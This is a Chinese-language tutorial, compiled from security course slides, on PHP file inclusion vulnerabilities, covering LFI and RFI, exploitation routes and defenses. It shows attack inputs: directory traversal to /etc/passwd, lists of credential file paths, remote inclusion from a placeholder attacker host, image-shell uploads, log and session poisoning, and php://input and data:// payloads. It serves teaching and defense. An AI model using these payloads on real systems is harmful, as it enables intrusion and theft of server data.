本文根据深信服 SCSA-S 课程《文件包含》三节课件整理,讲文件包含机制、PHP 包含函数、本地/远程包含、常见利用方式、PHP 封装伪协议与防御。靶场部分见《RCE 基础漏洞 CTFHub 实战 11 题》。

引言

文件包含本身是代码复用机制:把重复使用的函数或代码写入单个文件,在需要时调用该文件,避免重复编写。问题出在被包含的文件名由用户控制,且服务端没有做严格校验:攻击者可以让程序包含预期之外的文件,造成源码泄露、敏感文件读取,甚至执行任意 PHP 代码。

文件包含漏洞在 PHP Web 应用中最多,JSP、ASP、ASP.NET 中相对较少。这与各语言的包含机制和默认配置有关,但不代表其他语言不存在。


一、文件包含机制与 PHP 包含函数

1.1 文件包含的定义

课件给出的定义是:

把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,无需再次编写函数。这一调用文件的过程被称为包含。

在 PHP 中,包含通过以下四个函数完成:

函数 找不到文件时的行为 重复包含
include() 产生警告(E_WARNING),脚本继续执行 会重复包含
include_once() 产生警告(E_WARNING),脚本继续执行 已包含则不再包含
require() 产生致命错误(E_COMPILE_ERROR),脚本终止 会重复包含
require_once() 产生致命错误(E_COMPILE_ERROR),脚本终止 已包含则不再包含

include 与 require 的核心差异是错误级别:前者失败后继续,后者失败后终止。写业务代码时,require 用于配置文件、核心库等缺失后无法继续运行的场景。

1.2 漏洞产生的条件

文件包含漏洞需要同时满足两个条件:

  1. 包含函数通过动态变量的方式引入文件,例如 include($_GET['file']);
  2. 用户能够控制该动态变量。

如果文件名是硬编码的常量,例如 include('header.php'),用户无法改变包含目标,就不存在这个漏洞。

一个典型的脆弱代码:

<?php
$file = $_GET['file'];
include($file);
?>

请求 ?file=../../etc/passwd 时,include 会读取 etc/passwd;请求 ?file=http://attacker/shell.txt 时,在配置允许的情况下会包含远程文件。

1.3 PHP 的文件解析行为

PHP 在包含文件时,判断的是文件内容是否符合 PHP 语法,而不是文件扩展名。课件给出的实验结论是:

分别修改 phpinfo.txt 扩展名为 jpg、rar、xxx,发现均可解析,只要文件内容符合 PHP 语法规范,任何扩展名都可以被 PHP 解析。

这条结论是后续“图片马 + 文件包含”利用方式的基础:上传一个内容为 PHP 代码、扩展名为 .jpg 的文件,再通过文件包含漏洞包含它,PHP 仍会执行其中的代码。


二、文件包含的分类:LFI 与 RFI

课件把文件包含漏洞分为两类:

类型 全称 含义
LFI Local File Inclusion 本地文件包含,只能包含服务器本地文件
RFI Remote File Inclusion 远程文件包含,可以包含远程 URL 指向的文件

区分二者的直接方法是检查 php.ini:

  • allow_url_include = On:允许包含远程文件,才可能产生 RFI;
  • allow_url_fopen = On:允许打开远程文件;
  • allow_url_fopen 默认一直为 On;
  • allow_url_include 从 PHP 5.2 之后默认为 Off。

因此,RFI 的利用条件比 LFI 更严格,需要 allow_url_include 和 allow_url_fopen 同时开启,或者代码中存在其他可以引入远程内容的机制。

2.1 本地文件包含

本地文件包含的典型形式:

?page=test.php
?page=../../test.php

第一种包含同目录文件;第二种通过 ../ 进行目录遍历,包含上级目录或其他目录的文件。LFI 的价值在于读取敏感文件和配合文件上传执行代码,而不是直接包含一个不存在的 WebShell。

2.2 远程文件包含

远程文件包含的形式:

?page=http://attacker-ip/shell.txt

前提是 allow_url_include = On,且目标服务器能够访问攻击者指定的 URL。攻击者在自己控制的服务器上放置一个内容为 PHP 代码的文本文件,包含后由目标服务器的 PHP 解释器执行。

远程包含要求被包含的文件可以通过 HTTP 访问,因此通常需要公网地址、内网穿透或一台可被目标访问的服务器。课件中提到可以用 python -m http.server 提供文件,也可以用自己已有的 ECS。


三、本地文件包含的利用方式

3.1 读取敏感文件

LFI 最直接的利用是读取服务器上的敏感文件。课件列出了常见路径:

Windows

路径 内容
C:\boot.ini 系统版本
C:\windows\system32\inetsrv\MetaBase.xml IIS 配置
C:\windows\repair\sam Windows 初次安装的密码
C:\Program Files\mysql\my.ini MySQL 配置
C:\Program Files\mysql\data\mysql\user.MYD MySQL root 用户信息
C:\windows\php.ini PHP 配置

Linux

路径 内容
/etc/passwd 用户信息
/usr/local/app/apache2/conf/httpd.conf Apache 配置
/usr/local/app/php5/lib/php.ini PHP 配置
/etc/httpd/conf/httpd.conf Apache 配置
/etc/my.cnf MySQL 配置

实际测试时,路径需要根据目标系统、中间件版本和安装方式调整。/etc/passwd 是最常用的验证文件,读取成功即可确认 LFI 存在。

3.2 本地包含配合文件上传

如果目标存在文件上传功能,可以上传一个“图片马”:文件头为合法图片格式,文件内容包含 PHP 代码。课件给出的制作方式是:

Terminal window
copy 1.jpg/b + 1.php/a 2.jpg

假设上传后的路径为 /2.jpg,再通过文件包含读取:

http://target/include/03/index.php?page=2.jpg

由于 PHP 只检查文件内容是否符合语法,不检查扩展名,2.jpg 中的 PHP 代码会被执行。这条利用链需要两个条件同时成立:存在可控的上传点,且上传目录可以被文件包含访问。

3.3 包含日志文件

当目标存在文件包含漏洞,但没有可包含的 WebShell 文件,也没有上传点时,可以利用 Web 服务器或系统日志。

Apache 日志

Apache 通常有两个日志文件:

  • access.log:记录访问请求;
  • error.log:记录错误请求。

访问日志的字段包括客户端地址、访问者标识、验证用户名、请求时间、请求类型、状态码、发送字节数。请求行(包括 URL 和 User-Agent 等首部)会被写入日志。攻击者可以构造一个包含 PHP 代码的请求,使代码进入日志,再通过文件包含执行日志文件。

课件给出的日志默认路径:

环境 路径
Apache + Linux /etc/httpd/logs/access_log 或 /var/log/httpd/access_log
Apache + Windows(XAMPP) xampp\apache\logs\access.log
Apache + Windows(phpStudy) phpStudy\Apache\logs\access.log
IIS 6 C:\WINDOWS\system32\Logfiles
IIS 7 %SystemDrive%\inetpub\logs\LogFiles
Nginx 安装目录下的 logs/,如 /usr/local/nginx/logs/access.log,也可从 nginx.conf 获取

利用日志包含时,需要注意:

  1. 日志路径必须已知或可猜测;
  2. 日志文件必须可被 Web 进程读取;
  3. 写入日志的内容必须符合 PHP 语法,且不会被日志格式破坏;
  4. 访问不存在的资源也会产生日志记录,因此可以用 404 请求写入代码。

SSH 日志

Linux 的 SSH 登录日志会记录用户名。如果把用户名写成 PHP 代码,登录失败时也会写入日志:

Terminal window
ssh '<?php phpinfo(); ?>'@192.168.136.143

之后再通过文件包含读取 SSH 日志。该方式依赖 SSH 日志路径和日志内容的可控性。

Session 文件

PHP 的 Session 数据默认保存在服务端文件中,文件名通常为 sess_[PHPSESSID]。如果攻击者可以控制 Session 中的某部分内容(例如用户名、个人签名),就可以把 PHP 代码写入 Session 文件,再通过文件包含执行。

利用条件:

  1. Session 文件路径已知;
  2. Session 文件中的部分内容可控;
  3. Session ID 已知。

Session 文件路径可以通过 phpinfo() 页面的 session.save_path 获取,也可以猜测常见位置:

/var/lib/php/sess_[PHPSESSID]
/tmp/sess_[PHPSESSID]

获取 Session ID 可以通过浏览器 Cookie 或 Burp 抓包。文件包含时使用相对路径或绝对路径跨目录包含 Session 文件。


四、PHP 封装伪协议

PHP 提供了一批 URL 风格的封装协议,可以与 fopen()、copy()、file_exists()、filesize() 等文件系统函数配合使用。在文件包含场景中,伪协议可以改变 include 读取的数据来源。

课件列出的常见协议:

协议 作用
file:// 访问本地文件系统
http:// 访问 HTTP(S) 网址
ftp:// 访问 FTP(S) URL
php:// 访问各个输入/输出流
zlib:// 压缩流
data:// 数据(RFC 2397)
phar:// PHP 归档

4.1 php://input

php://input 是一个只读流,可以读取请求体。文件包含使用 php://input 时,include 会把 POST 请求体当作文件内容读取并执行。

利用条件:

  • allow_url_include = On;
  • allow_url_fopen 不做要求;
  • 请求方法为 POST,请求体中包含 PHP 代码。

示例:

POST /index.php?page=php://input HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
<?php phpinfo(); ?>

服务端执行 include('php://input') 时,会读取请求体中的 PHP 代码并执行。CTFHub 的 php://input 题使用的就是这一机制。

4.2 php://filter

php://filter 用于对数据流进行过滤处理,最常见的是 convert.base64-encode:把文件内容按 Base64 编码后输出,从而读取 PHP 源码而不执行它。

示例:

?page=php://filter/read=convert.base64-encode/resource=index.php

也可以省略 read=:

?page=php://filter/convert.base64-encode/resource=index.php

利用条件:

  • allow_url_include 和 allow_url_fopen 都不做要求;
  • 目标文件路径已知;
  • 服务端返回 Base64 字符串,攻击者自行解码。

php://filter 不能直接获取 Shell,但可以读取源码、配置文件、/flag 等敏感文件,危害仍然很大。

4.3 zip://

zip:// 用于包含 ZIP 压缩包中的文件。利用方式:

  1. 把 PHP 代码写入 test.txt;
  2. 将 test.txt 压缩为 test.zip;
  3. 如果目标允许上传 ZIP,直接上传;否则把 test.zip 重命名为 test.jpg 后上传;
  4. 通过文件包含读取压缩包内的文件。

示例:

?page=zip://C:/Users/40454/Desktop/test.jpg%23test.txt

注意事项:

  • zip:// 需要指定压缩包的绝对路径,使用相对路径可能包含失败;
  • # 在 URL 中表示片段标识,必须编码为 %23;
  • 压缩包内的文件名需要与 # 后的名称一致。

4.4 data://

data:// 直接把数据作为文件内容,适合在 allow_url_include 开启时执行代码。

利用条件:

  • PHP 版本大于等于 5.2;
  • allow_url_include = On;
  • allow_url_fopen = On。

示例:

?page=data://text/plain,<?php phpinfo(); ?>
?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+

4.5 phar://

phar:// 用于访问 PHP 归档文件。把包含 PHP 代码的文件打包为 ZIP 或 PHAR,再通过 phar:// 包含:

?page=phar://C:/Users/40454/Desktop/test.zip/test.txt
?page=phar://C:/Users/40454/Desktop/test.jpg/test.txt

phar:// 的路径解析方式与 zip:// 类似,需要指定归档文件路径和内部文件路径。实际利用时还要注意 phar.readonly 配置和文件上传限制。

4.6 伪协议的选择

目标 可用协议 关键条件
执行 POST Body 中的代码 php://input allow_url_include=On
读取源码/敏感文件 php://filter 无特殊配置要求
执行压缩包内的代码 zip://、phar:// 能上传压缩包或图片
直接执行 URL 中的数据 data:// allow_url_include=On、allow_url_fopen=On
包含远程文件 http://、ftp:// allow_url_include=On、allow_url_fopen=On

伪协议的利用面取决于 php.ini 配置、PHP 版本和目标文件路径。测试时应先确认配置,再选择协议。


五、文件包含漏洞的防御

5.1 使用白名单映射

最有效的防御是不让用户直接控制文件路径。使用固定映射:

<?php
$pages = [
'home' => 'pages/home.php',
'about' => 'pages/about.php',
'news' => 'pages/news.php',
];
$page = $_GET['page'] ?? 'home';
if (!isset($pages[$page])) {
http_response_code(404);
exit;
}
include $pages[$page];
?>

白名单的键由服务端定义,用户输入只用于选择,不参与路径拼接。

5.2 限制包含来源

  • allow_url_include = Off:禁止包含远程文件;
  • allow_url_fopen = Off:禁止打开远程文件;
  • open_basedir:限制 PHP 可访问的目录范围;
  • 不使用用户输入拼接绝对路径或相对路径。

5.3 规范化路径并校验

如果业务必须使用动态路径,先规范化再做前缀校验:

$base = realpath(__DIR__ . '/pages');
$target = realpath($base . '/' . $file);
if ($base === false || $target === false || strpos($target, $base . DIRECTORY_SEPARATOR) !== 0) {
exit('Invalid path');
}
include $target;

realpath() 会解析 ../ 和符号链接;比较时带上目录分隔符,避免把同名前缀的其他目录当成合法子目录。

5.4 上传与日志

  • 上传目录禁止脚本执行;
  • 上传文件重命名,不使用用户可控的文件名;
  • 上传目录与包含目录分离;
  • 限制日志文件的访问权限;
  • 不把用户输入直接写入可被包含的日志或 Session 文件;
  • Web 进程以低权限运行,降低文件读取范围。

5.5 代码审计关注点

审计 PHP 代码时,重点检查:

  • include、include_once、require、require_once 的参数来源;
  • 参数是否经过白名单或路径校验;
  • allow_url_include、allow_url_fopen、open_basedir 配置;
  • 上传功能与包含功能是否同时存在;
  • 日志、Session 文件是否可被用户控制。

六、总结

文件包含漏洞的核心是包含目标可控且缺少校验。需要掌握:

  1. 四个包含函数:include、include_once、require、require_once 的差异;
  2. 两类包含:LFI 与 RFI,以及 allow_url_include、allow_url_fopen 的作用;
  3. 常见利用:读取敏感文件、图片马配合上传、日志包含、Session 包含;
  4. PHP 伪协议:php://input、php://filter、zip://、data://、phar:// 的条件与用法;
  5. 防御:白名单映射、关闭远程包含、open_basedir、路径规范化、上传目录禁止执行。

文件包含的利用往往需要组合其他条件:上传点、日志写入、Session 可控内容、已知路径。分析时应先确认这些前置条件,再选择对应的包含方式。